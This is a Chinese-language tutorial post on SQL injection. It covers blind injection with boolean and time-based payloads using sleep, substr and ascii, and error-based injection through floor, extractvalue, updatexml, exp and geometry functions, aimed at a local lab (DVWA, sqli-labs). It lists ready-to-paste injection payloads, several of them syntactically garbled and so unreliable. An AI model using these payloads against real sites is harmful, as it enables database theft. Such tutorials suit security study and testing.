渗透之路基础 -- SQL进阶(盲注和报错注入)
SQL注入之盲注
实战过程中,大多情况下很少会有回显,这个时候就要去使用盲注技术
盲注,Blind SQL Injection,听这名字就感觉整个过程就是一个盲目的过程
当注入时,没有任何提示的时候,就改用上盲注
常见函数
ascii(str)str是一个字符串参数,返回值为其最左侧字符的ascii码。通过它,我们才能确定特定的字符。substr(str,start,len)这个函数是取str中从下标start开始的,长度为len的字符串。通常在盲注中用于取出单个字符,交给ascii函数来确定其具体的值。mid(str,1,1)截取字符串length(str)这个函数是用来获取str的长度的。这样我们才能知道需要通过substr取到哪个下标。count([column])这个函数大家应该很熟,用来统计记录的数量的,其在盲注中,主要用于判断符合条件的记录的数量,并逐个破解。if(condition,a,b)当condition为true的时候,返回a,当condition为false的时候,返回b。ord()编码(ascii),将字符转换为ASCII码sleep()睡眠,用于无回显时,判断延迟
应用

http://192.168.207.128/test/sqlin.php?x=1 and sleep(if((select database()='dvwa'),0,5))
若没猜对数据库名,则会延迟

综合应用
# 用字符验证
union select 1,2,3,sleep(if(mid(table_name,1,1)='a',0,5)) from
information_schema.tables where table_schema=database() limit 0,1
# 用ASCII验证
union select 1,2,3,sleep(if(ord(mid(table_name,1,1))=97,0,5)) from
information_schema.tables where table_schema=database() limit 0,1
# sql注入靶场的第五关
/Less-5/?id=1' and (select length(database())>1) and '1'='1 返回true
/Less-5/?id=1' and (select length(database())>10) and '1'='1 返回false
猜列名类似
盲注实际上就是一个逐步猜解的过程
参考文章:https://www.freebuf.com/articles/web/175049.html
SQL注入之报错注入
报错注入实际上应该算是盲注中的一种,因为实战中用到的也特别多,就单独写一篇
共有大约12中报错注入类型
通过floor报错
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
通过ExtractValue报错
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
通过UpdateXml报错
and 1=(updatexml(1,concat(0x3a,(selectuser())),1))
通过NAME_CONST报错
and exists(select*from (select*from(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
通过join报错
select * from(select * from mysql.user ajoin mysql.user b)c;
通过exp报错
and exp(~(select * from (select user () ) a) );
通过GeometryCollection()报错
and GeometryCollection(()select *from(select user () )a)b );
通过polygon ()报错
and polygon (()select * from(select user ())a)b );
通过multipoint ()报错
and multipoint (()select * from(select user() )a)b );
通过multlinestring ()报错
and multlinestring (()select * from(selectuser () )a)b );
通过multpolygon ()报错
and multpolygon (()select * from(selectuser () )a)b );
通过linestring ()报错
and linestring (()select * from(select user() )a)b );
SQL注入一点小技巧
当
=被过滤时,用regexp来代替=,用<>代替!=
渗透之路基础 -- SQL进阶(盲注和报错注入)的更多相关文章
- sql盲注之报错注入(附自动化脚本)
作者:__LSA__ 0x00 概述 渗透的时候总会首先测试注入,sql注入可以说是web漏洞界的Boss了,稳居owasp第一位,普通的直接回显数据的注入现在几乎绝迹了,绝大多数都是盲注了,此文是盲 ...
- SQL注入--盲注及报错注入
盲注查询 盲注其实就是没有回显,不能直观地得到结果来调整注入数据,只能通过其他方式来得到是否注入成功,主要是利用了一些数据库内置函数来达到的 布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根 ...
- SQL注入汇总(手注,盲注,报错注入,宽字节,二次编码,http头部){10.22、23 第二十四 二十五天}
首先什么是SQL注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. SQL注入有什么危害? 危害:数据泄露.脱库 ...
- 渗透之路基础 -- SQL注入
目录 mysql注入(上) limit 有两个参数 limit 2,3 表示从2开始查3条 通过MySql内置数据库获取表名 通过MySql内置数据库获取表名对应的列名 mysql注入(中) SQL常 ...
- MySQL手注之报错注入
报错注入: 指在页面中没有一个合适的数据返回点的情况下,利用mysql函数的报错来创造一个显位的注入.先来了解一下报错注入常用的函数 XML:指可扩展标记语言被设计用来传输和存储数据. concat: ...
- sql注入之查询方式及报错注入
当进行sql注入时,有很多注入会出无回显的情况,其中不回显的原因可能是sql语句查询方式的问题导致的,这个时候我们需要用到相关的报错或盲注进行后续操作,同时作为手工注入时,提前了解或预知器sqkl语句 ...
- [sql 注入] insert 报错注入与延时盲注
insert注入的技巧在于如何在一个字段值内构造闭合. insert 报错注入 演示案例所用的表: MariaDB [mysql]> desc test; +--------+--------- ...
- 深入浅出带你玩转sqlilabs(五)-布尔/延时盲注与二次注入
SQL测试-基于布尔,延时盲注 布尔,延时注入常用到的判断语句 regexp regexp '^xiaodi[a-z]' 匹配xiaodi及xiaodi...等 if if(条件,5,0) 条件成立 ...
- sqli-labs lesson5-6 布尔盲注 报错注入 延时注入
LESSON 5: 典型的布尔盲注. 盲注:sql注入过程中,sql语句的执行结果不回显到前端,这个时候就只能用一些别的方法进行判断或者尝试,这个判断或者尝试就叫做盲注.盲注又分为:1.基于布尔SQL ...
随机推荐
- C++学习之路
一.二分查找 1.binary_search:查找某个元素是否出现. a.函数模板:binary_search(arr,arr+size ,indx) b.参数说明: arr: 数组首地址 size: ...
- 【Java】You have an error in your SQL syntax ...
详情如下: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server v ...
- tensorflow学习笔记——常见概念的整理
TensorFlow的名字中已经说明了它最重要的两个概念——Tensor和Flow.Tensor就是张量,张量这个概念在数学或者物理学中可以有不同的解释,但是这里我们不强调它本身的含义.在Tensor ...
- Vmware Exsi使用简要说明
界面介绍 Exsi的管理工具可以用vSphere Client来管理虚拟机.管理虚拟的网络交换机.管理物理机的内存.物理机的硬盘.物理机的CPU等资源.界面的大致介绍如下图. 资源分配 创建内存.CP ...
- 在.NET CORE中使用配置文件:对 ConfigurationBuilder 的使用说明
示例:ASP.NET MVC 使用示例: 如何覆写默认行为?如取消热更新支持,方法如下: 示例:控制台 使用应用程序参数 使用键值对枚举(这里以字典来说明) 使用JSON文件 注册配置文件中的某一个段 ...
- hive数仓客户端界面工具
1.Hive的官网上介绍了三个可以在Windows中通过JDBC连接HiveServer2的图形界面工具,包括:SQuirrel SQL Client.Oracle SQL Developer以及Db ...
- 【React踩坑记三】React项目报错Can't perform a React state update on an unmounted component
意思为:我们不能在组件销毁后设置state,防止出现内存泄漏的情况 分析出现问题的原因: 我这里在组件加载完成的钩子函数里调用了一个EventBus的异步方法,如果监听到异步方法,则会更新state中 ...
- http测试工具
http测试工具: https://github.com/denji/awesome-http-benchmark wrk https://github.com/wg/wrk wrk2 https:/ ...
- dubbokeeper-moniter部署指南
moniter在整个dubbo架构中的角色: 使用的1.0.1版本: ## 1.0.1版本变动内容 dubbokeeper在1.0.1版本对监控数据存储模块抽离出来,做为单独的应用部署,而不是和1.0 ...
- Python.append()与Python.extend()的区别
lst=[1,2] >>>[1,2] lst.append([3,4]) >>>[1, 2, [3, 4]] lst.extend([3,4]) >>& ...